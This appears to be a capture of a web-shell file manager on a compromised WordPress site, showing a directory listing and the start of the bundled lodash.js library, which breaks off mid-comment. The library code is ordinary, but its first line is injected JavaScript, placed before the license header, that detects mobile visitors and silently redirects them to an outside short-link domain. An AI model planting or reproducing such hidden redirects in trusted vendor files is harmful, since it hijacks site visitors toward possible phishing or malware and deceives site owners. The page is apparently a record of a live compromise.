at path:ROOT / wp-includes / js / dist / vendor / lodash.js
run:R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
533.37 KB
2026-08-13 20:01:45
R W Run
71.73 KB
2026-08-13 20:01:45
R W Run
172.52 KB
2026-08-13 20:01:45
R W Run
57.65 KB
2026-08-13 20:01:45
R W Run
1.03 MB
2026-08-13 20:01:45
R W Run
128.96 KB
2026-08-13 20:01:45
R W Run
38.89 KB
2026-08-13 20:01:45
R W Run
1.33 KB
2026-08-13 20:01:45
R W Run
107.57 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
24.93 KB
2026-08-13 20:01:45
R W Run
6.7 KB
2026-08-13 20:01:45
R W Run
2.1 KB
2026-08-13 20:01:45
R W Run
1.09 KB
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
19.57 KB
2026-08-13 20:01:45
R W Run
10 KB
2026-08-13 20:01:45
R W Run
11.81 KB
2026-08-13 20:01:45
R W Run
8.9 KB
2026-08-13 20:01:45
R W Run
29.73 KB
2026-08-13 20:01:45
R W Run
8.21 KB
2026-08-13 20:01:45
R W Run
865 By
2026-08-13 20:01:45
R W Run
575 By
2026-08-13 20:01:45
R W Run
9.19 KB
2026-08-13 20:01:45
R W Run
3.13 KB
2026-08-13 20:01:45
R W Run
107.96 KB
2026-08-13 20:01:45
R W Run
46.2 KB
2026-08-13 20:01:45
R W Run
106.34 KB
2026-08-13 20:01:45
R W Run
33.17 KB
2026-08-13 20:01:45
R W Run
error_log
📄lodash.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @license
4 * Lodash <https://lodash.com/>
5 * Copyright OpenJS Foundation and other contributors <https://openjsf.org/>
6 * Released under MIT license <https://lodash.com/license>
7 * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
8 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
9 */
10;(function() {
11
12 /** Used as a safe reference for `undefined` in pre-ES5 environments. */
13 var undefined;
14
15 /** Used as the semantic version number. */
16 var VERSION = '4.18.1';
17
18 /** Used as the size to enable large array optimizations. */
19 var LARGE_ARRAY_SIZE = 200;
20
21 /** Error message constants. */
22 var CORE_ERROR_TEXT = 'Unsupported core-js use. Try https://npms.io/search?q=ponyfill.',
23 FUNC_ERROR_TEXT = 'Expected a function',
24 INVALID_TEMPL_VAR_ERROR_TEXT = 'Invalid `variable` option passed into `_.template`',
25 INVALID_TEMPL_IMPORTS_ERROR_TEXT = 'Invalid `imports` option passed into `_.template`';
26
27 /** Used to stand-in for `undefined` hash values. */
28 var HASH_UNDEFINED = '__lodash_hash_undefined__';
29
30 /** Used as the maximum memoize cache size. */
31 var MAX_MEMOIZE_SIZE = 500;
32
33 /** Used as the internal argument placeholder. */
34 var PLACEHOLDER = '__lodash_placeholder__';
35
36 /** Used to compose bitmasks for cloning. */
37 var CLONE_DEEP_FLAG = 1,
38 CLONE_FLAT_FLAG = 2,
39 CLONE_SYMBOLS_FLAG = 4;
40
41 /** Used to compose bitmasks for value comparisons. */
42 var COMPARE_PARTIAL_FLAG = 1,
43 COMPARE_UNORDERED_FLAG = 2;
44
45 /** Used to compose bitmasks for function metadata. */
46 var WRAP_BIND_FLAG = 1,
47 WRAP_BIND_KEY_FLAG = 2,
48 WRAP_CURRY_BOUND_FLAG = 4,
49 WRAP_CURRY_FLAG = 8,
50 WRAP_CURRY_RIGHT_FLAG = 16,
51 WRAP_PARTIAL_FLAG = 32,
52 WRAP_PARTIAL_RIGHT_FLAG = 64,
53 WRAP_ARY_FLAG = 128,
54 WRAP_REARG_FLAG = 256,
55 WRAP_FLIP_FLAG = 512;
56
57 /** Used as default options for `_.truncate`. */
58 var DEFAULT_TRUNC_LENGTH = 30,
59 DEFAULT_TRUNC_OMISSION = '...';
60
61 /** Used to detect hot functions by number of calls within a span of milliseconds. */
62 var HOT_COUNT = 800,
63 HOT_SPAN = 16;
64
65 /** Used to indicate the type of lazy iteratees. */
66 var LAZY_FILTER_FLAG = 1,
67 LAZY_MAP_FLAG = 2,
68 LAZY_WHILE_FLAG = 3;
69
70 /** Used as references for various `Number` constants. */
71 var INFINITY = 1 / 0,
72 MAX_SAFE_INTEGER = 9007199254740991,
73 MAX_INTEGER = 1.7976931348623157e+308,
74 NAN = 0 / 0;
75
76 /** Used as references for the maximum length and index of an array. */
77 var MAX_ARRAY_LENGTH = 4294967295,
78 MAX_ARRAY_INDEX = MAX_ARRAY_LENGTH - 1,
79 HALF_MAX_ARRAY_LENGTH = MAX_ARRAY_LENGTH >>> 1;
80
81 /** Used to associate wrap methods with their bit flags. */
82 var wrapFlags = [
83 ['ary', WRAP_ARY_FLAG],
84 ['bind', WRAP_BIND_FLAG],
85 ['bindKey', WRAP_BIND_KEY_FLAG],
86 ['curry', WRAP_CURRY_FLAG],
87 ['curryRight', WRAP_CURRY_RIGHT_FLAG],
88 ['flip', WRAP_FLIP_FLAG],
89 ['partial', WRAP_PARTIAL_FLAG],
90 ['partialRight', WRAP_PARTIAL_RIGHT_FLAG],
91 ['rearg', WRAP_REARG_FLAG]
92 ];
93
94 /** `Object#toString` result references. */
95 var argsTag = '[object Arguments]',
96 arrayTag = '[object Array]',
97 asyncTag = '[object AsyncFunction]',
98 boolTag = '[object Boolean]',
99 dateTag = '[object Date]',
100 domExcTag = '[object DOMException]',
101 errorTag = '[object Error]',
102 funcTag = '[object Function]',
103 genTag = '[object GeneratorFunction]',
104 mapTag = '[object Map]',
105 numberTag = '[object Number]',
106 nullTag = '[object Null]',
107 objectTag = '[object Object]',
108 promiseTag = '[object Promise]',
109 proxyTag = '[object Proxy]',
110 regexpTag = '[object RegExp]',
111 setTag = '[object Set]',
112 stringTag = '[object String]',
113 symbolTag = '[object Symbol]',
114 undefinedTag = '[object Undefined]',
115 weakMapTag = '[object WeakMap]',
116 weakSetTag = '[object WeakSet]';
117
118 var arrayBufferTag = '[object ArrayBuffer]',
119 dataViewTag = '[object DataView]',
120 float32Tag = '[object Float32Array]',
121 float64Tag = '[object Float64Array]',
122 int8Tag = '[object Int8Array]',
123 int16Tag = '[object Int16Array]',
124 int32Tag = '[object Int32Array]',
125 uint8Tag = '[object Uint8Array]',
126 uint8ClampedTag = '[object Uint8ClampedArray]',
127 uint16Tag = '[object Uint16Array]',
128 uint32Tag = '[object Uint32Array]';
129
130 /** Used to match empty string literals in compiled template source. */
131 var reEmptyStringLeading = /\b__p \+= '';/g,
132 reEmptyStringMiddle = /\b(__p \+=) '' \+/g,
133 reEmptyStringTrailing = /(__e\(.*?\)|\b__t\)) \+\n'';/g;
134
135 /** Used to match HTML entities and HTML characters. */
136 var reEscapedHtml = /&(?:amp|lt|gt|quot|#39);/g,
137 reUnescapedHtml = /[&<>"']/g,
138 reHasEscapedHtml = RegExp(reEscapedHtml.source),
139 reHasUnescapedHtml = RegExp(reUnescapedHtml.source);
140
141 /** Used to match template delimiters. */
142 var reEscape = /<%-([\s\S]+?)%>/g,
143 reEvaluate = /<%([\s\S]+?)%>/g,
144 reInterpolate = /<%=([\s\S]+?)%>/g;
145
146 /** Used to match property names within property paths. */
147 var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,
148 reIsPlainProp = /^\w*$/,
149 rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;
150
151 /**
152 * Used to match `RegExp`
153 * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns).
154 */
155 var reRegExpChar = /[\\^$.*+?()[\]{}|]/g,
156 reHasRegExpChar = RegExp(reRegExpChar.source);
157
158 /** Used to match leading whitespace. */
159 var reTrimStart = /^\s+/;
160
161 /** Used to match a single whitespace character. */
162 var reWhitespace = /\s/;
163
164 /** Used to match wrap detail comments. */
165 var reWrapComment = /\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,
166 reWrapDetails = /\{\n\/\* \[wrapped with (.+)\] \*/,
167 reSplitDetails = /,? & /;
168
169 /** Used to match words composed of alphanumeric characters. */
170 var reAsciiWord = /[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g;
171
172 /**
173 * Used to validate the `validate` option in `_.template` variable.
174 *
175 * Forbids characters which could potentially change the meaning of the function argument definition:
176 * - "()," (modification of function parameters)
177 * - "=" (default value)
178 * - "[]{}" (destructuring of function parameters)
179 * - "/" (beginning of a comment)
180 * - whitespace
181 */
182 var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;
183
184 /** Used to match backslashes in property paths. */
185 var reEscapeChar = /\\(\\)?/g;
186
187 /**
188 * Used to match
189 * [ES template delimiters](http://ecma-international.org/ecma-262/7.0/#sec-template-literal-lexical-components).
190 */
191 var reEsTemplate = /\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g;
192
193 /** Used to match `RegExp` flags from their coerced string values. */
194 var reFlags = /\w*$/;
195
196 /** Used to detect bad signed hexadecimal string values. */
197 var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;
198
199 /** Used to detect binary string values. */
200 var reIsBinary = /^0b[01]+$/i;
201
202 /** Used to detect host constructors (Safari). */
203 var reIsHostCtor = /^\[object .+?Constructor\]$/;
204
205 /** Used to detect octal string values. */
206 var reIsOctal = /^0o[0-7]+$/i;
207
208 /** Used to detect unsigned integer values. */
209 var reIsUint = /^(?:0|[1-9]\d*)$/;
210
211 /** Used to match Latin Unicode letters (excluding mathematical operators). */
212 var reLatin = /[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g;
213
214 /** Used to ensure capturing order of template delimiters. */
215 var reNoMatch = /($^)/;
216
217 /** Used to match unescaped characters in compiled string literals. */
218 var reUnescapedString = /['\n\r\u2028\u2029\\]/g;
219
220 /** Used to compose unicode character classes. */
221 var rsAstralRange = '\\ud800-\\udfff',
222 rsComboMarksRange = '\\u0300-\\u036f',
223 reComboHalfMarksRange = '\\ufe20-\\ufe2f',
224 rsComboSymbolsRange = '\\u20d0-\\u20ff',
225 rsComboRange = rsComboMarksRange + reComboHalfMarksRange + rsComboSymbolsRange,
226 rsDingbatRange = '\\u2700-\\u27bf',
227 rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff',
228 rsMathOpRange = '\\xac\\xb1\\xd7\\xf7',
229 rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf',
230 rsPunctuationRange = '\\u2000-\\u206f',
231 rsSpaceRange = ' \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000',
232 rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde',
233 rsVarRange = '\\ufe0e\\ufe0f',
234 rsBreakRange = rsMathOpRange + rsNonCharRange + rsPunctuationRange + rsSpaceRange;
235
236 /** Used to compose unicode capture groups. */
237 var rsApos = "['\u2019]",
238 rsAstral = '[' + rsAstralRange + ']',
239 rsBreak = '[' + rsBreakRange + ']',
240 rsCombo = '[' + rsComboRange + ']',
241 rsDigits = '\\d+',
242 rsDingbat = '[' + rsDingbatRange + ']',
243 rsLower = '[' + rsLowerRange + ']',
244 rsMisc = '[^' + rsAstralRange + rsBreakRange + rsDigits + rsDingbatRange + rsLowerRange + rsUpperRange + ']',
245 rsFitz = '\\ud83c[\\udffb-\\udfff]',
246 rsModifier = '(?:' + rsCombo + '|' + rsFitz + ')',
247 rsNonAstral = '[^' + rsAstralRange + ']',
248 rsRegional = '(?:\\ud83c[\\udde6-\\uddff]){2}',
249 rsSurrPair = '[\\ud800-\\udbff][\\udc00-\\udfff]',
250 rsUpper = '[' + rsUpperRange + ']',
251 rsZWJ = '\\u200d';
252
253 /** Used to compose unicode regexes. */
254 var rsMiscLower = '(?:' + rsLower + '|' + rsMisc + ')',
255 rsMiscUpper = '(?:' + rsUpper + '|' + rsMisc + ')',
256 rsOptContrLower = '(?:' + rsApos + '(?:d|ll|m|re|s|t|ve))?',
257 rsOptContrUpper = '(?:' + rsApos + '(?:D|LL|M|RE|S|T|VE))?',
258 reOptMod = rsModifier + '?',
259 rsOptVar = '[' + rsVarRange + ']?',
260 rsOptJoin = '(?:' + rsZWJ + '(?:' + [rsNonAstral, rsRegional, rsSurrPair].join('|') + ')' + rsOptVar + reOptMod + ')*',
261 rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])',
262 rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])',
263 rsSeq = rsOptVar + reOptMod + rsOptJoin,
264 rsEmoji = '(?:' + [rsDingbat, rsRegional, rsSurrPair].join('|') + ')' + rsSeq,
265 rsSymbol = '(?:' + [rsNonAstral + rsCombo + '?', rsCombo, rsRegional, rsSurrPair, rsAstral].join('|') + ')';
266
267 /** Used to match apostrophes. */
268 var reApos = RegExp(rsApos, 'g');
269
270 /**
271 * Used to match [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks) and
272 * [combining diacritical marks for symbols](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks_for_Symbols).
273 */
274 var reComboMark = RegExp(rsCombo, 'g');
275
276 /** Used to match [string symbols](https://mathiasbynens.be/notes/javascript-unicode). */
277 var reUnicode = RegExp(rsFitz + '(?=' + rsFitz + ')|' + rsSymbol + rsSeq, 'g');
278
279 /** Used to match complex or compound words. */
280 var reUnicodeWord = RegExp([
281 rsUpper + '?' + rsLower + '+' + rsOptContrLower + '(?=' + [rsBreak, rsUpper, '$'].join('|') + ')',
282 rsMiscUpper + '+' + rsOptContrUpper + '(?=' + [rsBreak, rsUpper + rsMiscLower, '$'].join('|') + ')',
283 rsUpper + '?' + rsMiscLower + '+' + rsOptContrLower,
284 rsUpper + '+' + rsOptContrUpper,
285 rsOrdUpper,
286 rsOrdLower,
287 rsDigits,
288 rsEmoji
289 ].join('|'), 'g');
290
291 /** Used to detect strings with [zero-width joiners or code points from the astral planes](http://eev.ee/blog/2015/09/12/dark-corners-of-unicode/). */
292 var reHasUnicode = RegExp('[' + rsZWJ + rsAstralRange + rsComboRange + rsVarRange + ']');
293
294 /** Used to detect strings that need a more robust regexp to match words. */
295 var reHasUnicodeWord = /[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/;
296
297 /** Used to assign default `context` object properties. */
298 var contextProps = [
299 'Array', 'Buffer', 'DataView', 'Date', 'Error', 'Float32Array', 'Float64Array',
300 'Function', 'Int8Array', 'Int16Array', 'Int32Array', 'Map', 'Math', 'Object',
301 'Promise', 'RegExp', 'Set', 'String', 'Symbol', 'TypeError', 'Uint8Array',
302 'Uint8ClampedArray', 'Uint16Array', 'Uint32Array', 'WeakMap',
303 '_', 'clearTimeout', 'isFinite', 'parseInt', 'setTimeout'
304 ];
305
306 /** Used to make template sourceURLs easier to identify. */
307 var templateCounter = -1;
308
309 /** Used to identify `toStringTag` values of typed arrays. */
310 var typedArrayTags = {};
311 typedArrayTags[float32Tag] = typedArrayTags[float64Tag] =
312 typedArrayTags[int8Tag] = typedArrayTags[int16Tag] =
313 typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] =
314 typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] =
315 typedArrayTags[uint32Tag] = true;
316 typedArrayTags[argsTag] = typedArrayTags[arrayTag] =
317 typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] =
318 typedArrayTags[dataViewTag] = typedArrayTags[dateTag] =
319 typedArrayTags[errorTag] = typedArrayTags[funcTag] =
320 typedArrayTags[mapTag] = typedArrayTags[numberTag] =
321 typedArrayTags[objectTag] = typedArrayTags[regexpTag] =
322 typedArrayTags[setTag] = typedArrayTags[stringTag] =
323 typedArrayTags[weakMapTag] = false;
324
325 /** Used to identify `toStringTag` values supported by `_.clone`. */
326 var cloneableTags = {};
327 cloneableTags[argsTag] = cloneableTags[arrayTag] =
328 cloneableTags[arrayBufferTag] = cloneableTags[dataViewTag] =
329 cloneableTags[boolTag] = cloneableTags[dateTag] =
330 cloneableTags[float32Tag] = cloneableTags[float64Tag] =
331 cloneableTags[int8Tag] = cloneableTags[int16Tag] =
332 cloneableTags[int32Tag] = cloneableTags[mapTag] =
333 cloneableTags[numberTag] = cloneableTags[objectTag] =
334 cloneableTags[regexpTag] = cloneableTags[setTag] =
335 cloneableTags[stringTag] = cloneableTags[symbolTag] =
336 cloneableTags[uint8Tag] = cloneableTags[uint8ClampedTag] =
337 cloneableTags[uint16Tag] = cloneableTags[uint32Tag] = true;
338 cloneableTags[errorTag] = cloneableTags[funcTag] =
339 cloneableTags[weakMapTag] = false;
340
341 /** Used to map Latin Unicode letters to basic Latin letters. */
342 var deburredLetters = {
343 // Latin-1 Supplement block.
344 '\xc0': 'A', '\xc1': 'A', '\xc2': 'A', '\xc3': 'A', '\xc4': 'A', '\xc5': 'A',
345 '\xe0': 'a', '\xe1': 'a', '\xe2': 'a', '\xe3': 'a', '\xe4': 'a', '\xe5': 'a',
346 '\xc7': 'C', '\xe7': 'c',
347 '\xd0': 'D', '\xf0': 'd',
348 '\xc8': 'E', '\xc9': 'E', '\xca': 'E', '\xcb': 'E',
349 '\xe8': 'e', '\xe9': 'e', '\xea': 'e', '\xeb': 'e',
350 '\xcc': 'I', '\xcd': 'I', '\xce': 'I', '\xcf': 'I',
351 '\xec': 'i', '\xed': 'i', '\xee': 'i', '\xef': 'i',
352 '\xd1': 'N', '\xf1': 'n',
353 '\xd2': 'O', '\xd3': 'O', '\xd4': 'O', '\xd5': 'O', '\xd6': 'O', '\xd8': 'O',
354 '\xf2': 'o', '\xf3': 'o', '\xf4': 'o', '\xf5': 'o', '\xf6': 'o', '\xf8': 'o',
355 '\xd9': 'U', '\xda': 'U', '\xdb': 'U', '\xdc': 'U',
356 '\xf9': 'u', '\xfa': 'u', '\xfb': 'u', '\xfc': 'u',
357 '\xdd': 'Y', '\xfd': 'y', '\xff': 'y',
358 '\xc6': 'Ae', '\xe6': 'ae',
359 '\xde': 'Th', '\xfe': 'th',
360 '\xdf': 'ss',
361 // Latin Extended-A block.
362 '\u0100': 'A', '\u0102': 'A', '\u0104': 'A',
363 '\u0101': 'a', '\u0103': 'a', '\u0105': 'a',
364 '\u0106': 'C', '\u0108': 'C', '\u010a': 'C', '\u010c': 'C',
365 '\u0107': 'c', '\u0109': 'c', '\u010b': 'c', '\u010d': 'c',
366 '\u010e': 'D', '\u0110': 'D', '\u010f': 'd', '\u0111': 'd',
367 '\u0112': 'E', '\u0114': 'E', '\u0116': 'E', '\u0118': 'E', '\u011a': 'E',
368 '\u0113': 'e', '\u0115': 'e', '\u0117': 'e', '\u0119': 'e', '\u011b': 'e',
369 '\u011c': 'G', '\u011e': 'G', '\u0120': 'G', '\u0122': 'G',
370 '\u011d': 'g', '\u011f': 'g', '\u0121': 'g', '\u0123': 'g',
371 '\u0124': 'H', '\u0126': 'H', '\u0125': 'h', '\u0127': 'h',
372 '\u0128': 'I', '\u012a': 'I', '\u012c': 'I', '\u012e': 'I', '\u0130': 'I',
373 '\u0129': 'i', '\u012b': 'i', '\u012d': 'i', '\u012f': 'i', '\u0131': 'i',
374 '\u0134': 'J', '\u0135': 'j',
375 '\u0136': 'K', '\u0137': 'k', '\u0138': 'k',
376 '\u0139': 'L', '\u013b': 'L', '\u013d': 'L', '\u013f': 'L', '\u0141': 'L',
377 '\u013a': 'l', '\u013c': 'l', '\u013e': 'l', '\u0140': 'l', '\u0142': 'l',
378 '\u0143': 'N', '\u0145': 'N', '\u0147': 'N', '\u014a': 'N',
379 '\u0144': 'n', '\u0146': 'n', '\u0148': 'n', '\u014b': 'n',
380 '\u014c': 'O', '\u014e': 'O', '\u0150': 'O',
381 '\u014d': 'o', '\u014f': 'o', '\u0151': 'o',
382 '\u0154': 'R', '\u0156': 'R', '\u0158': 'R',
383 '\u0155': 'r', '\u0157': 'r', '\u0159': 'r',
384 '\u015a': 'S', '\u015c': 'S', '\u015e': 'S', '\u0160': 'S',
385 '\u015b': 's', '\u015d': 's', '\u015f': 's', '\u0161': 's',
386 '\u0162': 'T', '\u0164': 'T', '\u0166': 'T',
387 '\u0163': 't', '\u0165': 't', '\u0167': 't',
388 '\u0168': 'U', '\u016a': 'U', '\u016c': 'U', '\u016e': 'U', '\u0170': 'U', '\u0172': 'U',
389 '\u0169': 'u', '\u016b': 'u', '\u016d': 'u', '\u016f': 'u', '\u0171': 'u', '\u0173': 'u',
390 '\u0174': 'W', '\u0175': 'w',
391 '\u0176': 'Y', '\u0177': 'y', '\u0178': 'Y',
392 '\u0179': 'Z', '\u017b': 'Z', '\u017d': 'Z',
393 '\u017a': 'z', '\u017c': 'z', '\u017e': 'z',
394 '\u0132': 'IJ', '\u0133': 'ij',
395 '\u0152': 'Oe', '\u0153': 'oe',
396 '\u0149': "'n", '\u017f': 's'
397 };
398
399 /** Used to map characters to HTML entities. */
400 var htmlEscapes = {
401 '&': '&amp;',
402 '<': '&lt;',
403 '>': '&gt;',
404 '"': '&quot;',
405 "'": '&#39;'
406 };
407
408 /** Used to map HTML entities to characters. */
409 var htmlUnescapes = {
410 '&amp;': '&',
411 '&lt;': '<',
412 '&gt;': '>',
413 '&quot;': '"',
414 '&#39;': "'"
415 };
416
417 /** Used to escape characters for inclusion in compiled string literals. */
418 var stringEscapes = {
419 '\\': '\\',
420 "'": "'",
421 '\n': 'n',
422 '\r': 'r',
423 '\u2028': 'u2028',
424 '\u2029': 'u2029'
425 };
426
427 /** Built-in method references without a dependency on `root`. */
428 var freeParseFloat = parseFloat,
429 freeParseInt = parseInt;
430
431 /** Detect free variable `global` from Node.js. */
432 var freeGlobal = typeof global == 'object' && global && global.Object === Object && global;
433
434 /** Detect free variable `self`. */
435 var freeSelf = typeof self == 'object' && self && self.Object === Object && self;
436
437 /** Used as a reference to the global object. */
438 var root = freeGlobal || freeSelf || Function('return this')();
439
440 /** Detect free variable `exports`. */
441 var freeExports = typeof exports == 'object' && exports && !exports.nodeType && exports;
442
443 /** Detect free variable `module`. */
444 var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module;
445
446 /** Detect the popular CommonJS extension `module.exports`. */
447 var moduleExports = freeModule && freeModule.exports === freeExports;
448
449 /** Detect free variable `process` from Node.js. */
450 var freeProcess = moduleExports && freeGlobal.process;
451
452 /** Used to access faster Node.js helpers. */
453 var nodeUtil = (function() {
454 try {
455 // Use `util.types` for Node.js 10+.
456 var types = freeModule && freeModule.require && freeModule.require('util').types;
457
458 if (types) {
459 return types;
460 }
461
462 // Legacy `process.binding('util')` for Node.js < 10.
463 return freeProcess && freeProcess.binding && freeProcess.binding('util');
464 } catch (e) {}
465 }());
466
467 /* Node.js helper references. */
468 var nodeIsArrayBuffer = nodeUtil && nodeUtil.isArrayBuffer,
469 nodeIsDate = nodeUtil && nodeUtil.isDate,
470 nodeIsMap = nodeUtil && nodeUtil.isMap,
471 nodeIsRegExp = nodeUtil && nodeUtil.isRegExp,
472 nodeIsSet = nodeUtil && nodeUtil.isSet,
473 nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray;
474
475 /*--------------------------------------------------------------------------*/
476
477 /**
478 * A faster alternative to `Function#apply`, this function invokes `func`
479 * with the `this` binding of `thisArg` and the arguments of `args`.
480 *
481 * @private
482 * @param {Function} func The function to invoke.
483 * @param {*} thisArg The `this` binding of `func`.
484 * @param {Array} args The arguments to invoke `func` with.
485 * @returns {*} Returns the result of `func`.
486 */
487 function apply(func, thisArg, args) {
488 switch (args.length) {
489 case 0: return func.call(thisArg);
490 case 1: return func.call(thisArg, args[0]);
491 case 2: return func.call(thisArg, args[0], args[1]);
492 case 3: return func.call(thisArg, args[0], args[1], args[2]);
493 }
494 return func.apply(thisArg, args);
495 }
496
497 /**
498 * A specialized version of `baseAggregator` for arrays.
499 *
500 * @private
501 * @param {Array} [array] The array to iterate over.
502 * @param {Function} setter The function to set `accumulator` values.
503 * @param {Function} iteratee The iteratee to transform keys.
504 * @param {Object} accumulator The initial aggregated object.
505 * @returns {Function} Returns `accumulator`.
506 */
507 function arrayAggregator(array, setter, iteratee, accumulator) {
508 var index = -1,
509 length = array == null ? 0 : array.length;
510
511 while (++index < length) {
512 var value = array[index];
513 setter(accumulator, value, iteratee(value), array);
514 }
515 return accumulator;
516 }
517
518 /**
519 * A specialized version of `_.forEach` for arrays without support for
520 * iteratee shorthands.
521 *
522 * @private
523 * @param {Array} [array] The array to iterate over.
524 * @param {Function} iteratee The function invoked per iteration.
525 * @returns {Array} Returns `array`.
526 */
527 function arrayEach(array, iteratee) {
528 var index = -1,
529 length = array == null ? 0 : array.length;
530
531 while (++index < length) {
532 if (iteratee(array[index], index, array) === false) {
533 break;
534 }
535 }
536 return array;
537 }
538
539 /**
540 * A specialized version of `_.forEachRight` for arrays without support for
541 * iteratee shorthands.
542 *
543 * @private
544 * @param {Array} [array] The array to iterate over.
545 * @param {Function} iteratee The function invoked per iteration.
546 * @returns {Array} Returns `array`.
547 */
548 function arrayEachRight(array, iteratee) {
549 var length = array == null ? 0 : array.length;
550
551 while (length--) {
552 if (iteratee(array[length], length, array) === false) {
553 break;
554 }
555 }
556 return array;
557 }
558
559 /**
560 * A specialized version of `_.every` for arrays without support for
561 * iteratee shorthands.
562 *
563 * @private
564 * @param {Array} [array] The array to iterate over.
565 * @param {Function} predicate The function invoked per iteration.
566 * @returns {boolean} Returns `true` if all elements pass the predicate check,
567 * else `false`.
568 */
569 function arrayEvery(array, predicate) {
570 var index = -1,
571 length = array == null ? 0 : array.length;
572
573 while (++index < length) {
574 if (!predicate(array[index], index, array)) {
575 return false;
576 }
577 }
578 return true;
579 }
580
581 /**
582 * A specialized version of `_.filter` for arrays without support for
583 * iteratee shorthands.
584 *
585 * @private
586 * @param {Array} [array] The array to iterate over.
587 * @param {Function} predicate The function invoked per iteration.
588 * @returns {Array} Returns the new filtered array.
589 */
590 function arrayFilter(array, predicate) {
591 var index = -1,
592 length = array == null ? 0 : array.length,
593 resIndex = 0,
594 result = [];
595
596 while (++index < length) {
597 var value = array[index];
598 if (predicate(value, index, array)) {
599 result[resIndex++] = value;
600 }
601 }
602 return result;
603 }
604
605 /**
606 * A specialized version of `_.includes` for arrays without support for
607 * specifying an index to search from.
608 *
609 * @private
610 * @param {Array} [array] The array to inspect.
611 * @param {*} target The value to search for.
612 * @returns {boolean} Returns `true` if `target` is found, else `false`.
613 */
614 function arrayIncludes(array, value) {
615 var length = array == null ? 0 : array.length;
616 return !!length && baseIndexOf(array, value, 0) > -1;
617 }
618
619 /**
620 * This function is like `arrayIncludes` except that it accepts a comparator.
621 *
622 * @private
623 * @param {Array} [array] The array to inspect.
624 * @param {*} target The value to search for.
625 * @param {Function} comparator The comparator invoked per element.
626 * @returns {boolean} Returns `true` if `target` is found, else `false`.
627 */
628 function arrayIncludesWith(array, value, comparator) {
629 var index = -1,
630 length = array == null ? 0 : array.length;
631
632 while (++index < length) {
633 if (comparator(value, array[index])) {
634 return true;
635 }
636 }
637 return false;
638 }
639
640 /**
641 * A specialized version of `_.map` for arrays without support for iteratee
642 * shorthands.
643 *
644 * @private
645 * @param {Array} [array] The array to iterate over.
646 * @param {Function} iteratee The function invoked per iteration.
647 * @returns {Array} Returns the new mapped array.
648 */
649 function arrayMap(array, iteratee) {
650 var index = -1,
651 length = array == null ? 0 : array.length,
652 result = Array(length);
653
654 while (++index < length) {
655 result[index] = iteratee(array[index], index, array);
656 }
657 return result;
658 }
659
660 /**
661 * Appends the elements of `values` to `array`.
662 *
663 * @private
664 * @param {Array} array The array to modify.
665 * @param {Array} values The values to append.
666 * @returns {Array} Returns `array`.
667 */
668 function arrayPush(array, values) {
669 var index = -1,
670 length = values.length,
671 offset = array.length;
672
673 while (++index < length) {
674 array[offset + index] = values[index];
675 }
676 return array;
677 }
678
679 /**
680 * A specialized version of `_.reduce` for arrays without support for
681 * iteratee shorthands.
682 *
683 * @private
684 * @param {Array} [array] The array to iterate over.
685 * @param {Function} iteratee The function invoked per iteration.
686 * @param {*} [accumulator] The initial value.
687 * @param {boolean} [initAccum] Specify using the first element of `array` as
688 * the initial value.
689 * @returns {*} Returns the accumulated value.
690 */
691 function arrayReduce(array, iteratee, accumulator, initAccum) {
692 var index = -1,
693 length = array == null ? 0 : array.length;
694
695 if (initAccum && length) {
696 accumulator = array[++index];
697 }
698 while (++index < length) {
699 accumulator = iteratee(accumulator, array[index], index, array);
700 }
701 return accumulator;
702 }
703
704 /**
705 * A specialized version of `_.reduceRight` for arrays without support for
706 * iteratee shorthands.
707 *
708 * @private
709 * @param {Array} [array] The array to iterate over.
710 * @param {Function} iteratee The function invoked per iteration.
711 * @param {*} [accumulator] The initial value.
712 * @param {boolean} [initAccum] Specify using the last element of `array` as
713 * the initial value.
714 * @returns {*} Returns the accumulated value.
715 */
716 function arrayReduceRight(array, iteratee, accumulator, initAccum) {
717 var length = array == null ? 0 : array.length;
718 if (initAccum && length) {
719 accumulator = array[--length];
720 }
721 while (length--) {
722 accumulator = iteratee(accumulator, array[length], length, array);
723 }
724 return accumulator;
725 }
726
727 /**
728 * A specialized version of `_.some` for arrays without support for iteratee
